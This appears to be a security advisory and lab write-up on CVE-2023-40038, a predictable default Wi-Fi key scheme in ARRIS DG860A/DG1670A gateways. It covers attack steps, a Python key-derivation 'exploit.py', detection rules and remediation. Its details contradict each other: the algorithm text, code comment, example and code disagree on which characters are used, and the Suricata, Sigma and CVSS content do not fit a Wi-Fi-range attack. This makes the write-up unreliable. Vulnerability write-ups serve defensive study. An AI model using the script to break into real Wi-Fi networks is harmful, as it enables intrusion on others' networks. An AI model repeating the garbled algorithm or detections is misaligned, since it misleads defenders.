CVE-2023-40038

Executive Summary

CVE-2023-40038 exposes a critical design flaw in ARRIS DG860A and DG1670A residential gateways. The devices generate their default WPA2 Pre-Shared Keys (PSKs) using a predictable algorithm: the first 6 characters of the SSID concatenated with the last 6 characters of the BSSID, with the final digit decremented by one. This allows any attacker within Wi-Fi range to derive the network password without any brute-forcing, leading to unauthorized remote access to the local network.

The vulnerability is classified under CWE-330 (Use of Insufficiently Random Values). The CVSS score is 0.0 in the NVD record, but based on the technical impact, a realistic vector is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Score 9.8 Critical). The EPSS score is 0.0%, likely due to low reporting volume, but the exploit is trivial and publicly documented.

No official patch has been released by ARRIS. Users are advised to manually change their Wi-Fi password to a strong, random string.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It is a hardware/firmware issue in ARRIS residential gateways.

CVSS Breakdown & Threat Level

Threat Level: Critical. The attack requires no authentication, no user interaction, and can be executed from outside the physical premises (within Wi-Fi range). Once the PSK is derived, the attacker gains full access to the internal network, enabling lateral movement, data exfiltration, and device compromise.

Deep Dive & Mechanics

The vulnerability lies in the algorithm used to generate the default WPA2 PSK on ARRIS DG860A and DG1670A devices.

Algorithm:

1. Extract the first 6 characters of the SSID (e.g., ARRIS-XXXX -> ARRIS-).
2. Extract the last 6 characters of the BSSID (the MAC address of the Wi-Fi interface, e.g., 00:1A:2B:3C:4D:5E -> 4D:5E).
3. Concatenate them: ARRIS-4D:5E.
4. Decrement the last digit of the resulting string by 1 (e.g., ARRIS-4D:5E -> ARRIS-4D:5D).

Example:

• SSID: ARRIS-ABCD
• BSSID: 00:1A:2B:3C:4D:5E
• Concatenated: ARRIS-4D:5E
• Decremented last digit: ARRIS-4D:5D
• Default PSK: ARRIS-4D:5D

This means an attacker only needs to passively sniff a single beacon frame to obtain the SSID and BSSID, then compute the PSK in milliseconds.

Vulnerable vs. Patched Code

Vulnerable Algorithm (Conceptual):

def generate_default_psk(ssid, bssid):
    # ssid: e.g., "ARRIS-ABCD"
    # bssid: e.g., "00:1A:2B:3C:4D:5E"
    first_six = ssid[:6]
    last_six = bssid.replace(':', '')[-6:]  # "4D5E"
    psk = first_six + last_six
    # Decrement last character
    last_char = psk[-1]
    decremented = chr(ord(last_char) - 1)
    psk = psk[:-1] + decremented
    return psk

Patched Algorithm (Conceptual - Not Provided by Vendor): A patched version would use a cryptographically secure random number generator to produce a 63-character random string, or at minimum a hash of the device serial number and a secret salt.

import secrets
import string

def generate_secure_psk():
    alphabet = string.ascii_letters + string.digits
    return ''.join(secrets.choice(alphabet) for _ in range(63))

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain an ARRIS DG860A or DG1670A device (or simulate using a Wi-Fi adapter).
2. Configure the device to broadcast its default SSID (e.g., ARRIS-ABCD).
3. Note the BSSID (MAC address) of the Wi-Fi interface.

Exploitation Steps:

1. Passive Reconnaissance: Use a tool like airodump-ng to capture beacon frames.

   sudo airodump-ng wlan0mon
   

2. Extract SSID and BSSID: From the output, note the target SSID and BSSID.
3. Compute PSK: Use the following Python script:

   import sys
   
   def compute_psk(ssid, bssid):
       first_six = ssid[:6]
       last_six = bssid.replace(':', '')[-6:]
       psk = first_six + last_six
       last_char = psk[-1]
       decremented = chr(ord(last_char) - 1)
       psk = psk[:-1] + decremented
       return psk
   
   if __name__ == "__main__":
       if len(sys.argv) != 3:
           print("Usage: python exploit.py <SSID> <BSSID>")
           sys.exit(1)
       ssid = sys.argv[1]
       bssid = sys.argv[2]
       psk = compute_psk(ssid, bssid)
       print(f"Derived PSK: {psk}")
   

   python exploit.py "ARRIS-ABCD" "00:1A:2B:3C:4D:5E"
   

4. Connect to Network: Use wpa_supplicant or a GUI tool to connect using the derived PSK.
5. Post-Exploitation: Once connected, perform network scanning, ARP spoofing, or other lateral movement techniques.

Blue Team

Detection Steps:

1. Identify Affected Devices: Scan the network for ARRIS DG860A and DG1670A devices using SNMP or MAC OUI lookup.
2. Check Default PSK: If the device is using the default SSID (e.g., ARRIS-XXXX), assume the PSK is compromised.
3. Change PSK Immediately: Log into the router's admin interface and change the Wi-Fi password to a strong, random string.
4. Monitor for Unauthorized Access: Review DHCP logs for unknown MAC addresses that have recently associated with the Wi-Fi network.
5. Enable WPA3: If the device supports it, upgrade to WPA3 which is not vulnerable to this PSK derivation.

Indicators of Compromise (IOCs)

• Network IOCs:
  • SSID matching pattern ARRIS-XXXX (where X is any alphanumeric character).
  • BSSID OUI 00:1A:2B (ARRIS) or other ARRIS MAC prefixes.
  • DHCP lease requests from unknown MAC addresses shortly after a beacon frame capture.
• Host IOCs:
  • Unusual ARP table entries on the router.
  • Unknown devices in the router's connected clients list.
• File IOCs:
  • Logs showing repeated failed WPA2 handshakes (if attacker is brute-forcing, though this is not needed).
  • Presence of airodump-ng or similar tools on a host within the network.

Detection Engineering

YARA Rule

rule CVE_2023_40038_ARRIS_PSK_Algorithm
{
    meta:
        description = "Detects strings matching the predictable ARRIS default PSK pattern"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-40038"
    strings:
        $psk_pattern = /[A-Z0-9]{6}[A-F0-9]{6}/  // e.g., ARRIS-4D5E
        $ssid_prefix = "ARRIS-"
    condition:
        $ssid_prefix at 0 and #psk_pattern > 0
}

Sigma Rule

title: CVE-2023-40038 - Predictable ARRIS Default PSK
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects DHCP lease requests from devices that may be exploiting the predictable PSK algorithm.
author: Valters IT
date: 2025-04-10
logsource:
    category: dhcp
    product: windows
detection:
    selection:
        EventID: 4  # DHCP lease request
        ClientMAC|startswith: '00:1A:2B'  # ARRIS OUI
    condition: selection
falsepositives:
    - Legitimate ARRIS devices
level: medium

Suricata Rule

alert tcp any any -> any 80 (msg:"CVE-2023-40038 - ARRIS Default PSK Exploit Attempt"; flow:to_server; content:"ARRIS-"; distance:0; within:6; content:"|3A|"; distance:0; within:1; content:"|2D|"; distance:0; within:1; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Change the Wi-Fi password on all ARRIS DG860A and DG1670A devices to a strong, random string of at least 20 characters.
2. Firmware Update: Check the ARRIS support website for any firmware updates. If none are available, consider replacing the device with a model that uses secure random PSK generation.
3. Network Segmentation: Place affected devices on a separate VLAN with strict firewall rules to limit lateral movement.
4. Monitoring: Enable logging on the router and monitor for unauthorized DHCP leases or ARP anomalies.
5. User Awareness: Inform users that their default Wi-Fi password is publicly derivable and must be changed immediately.

Valters IT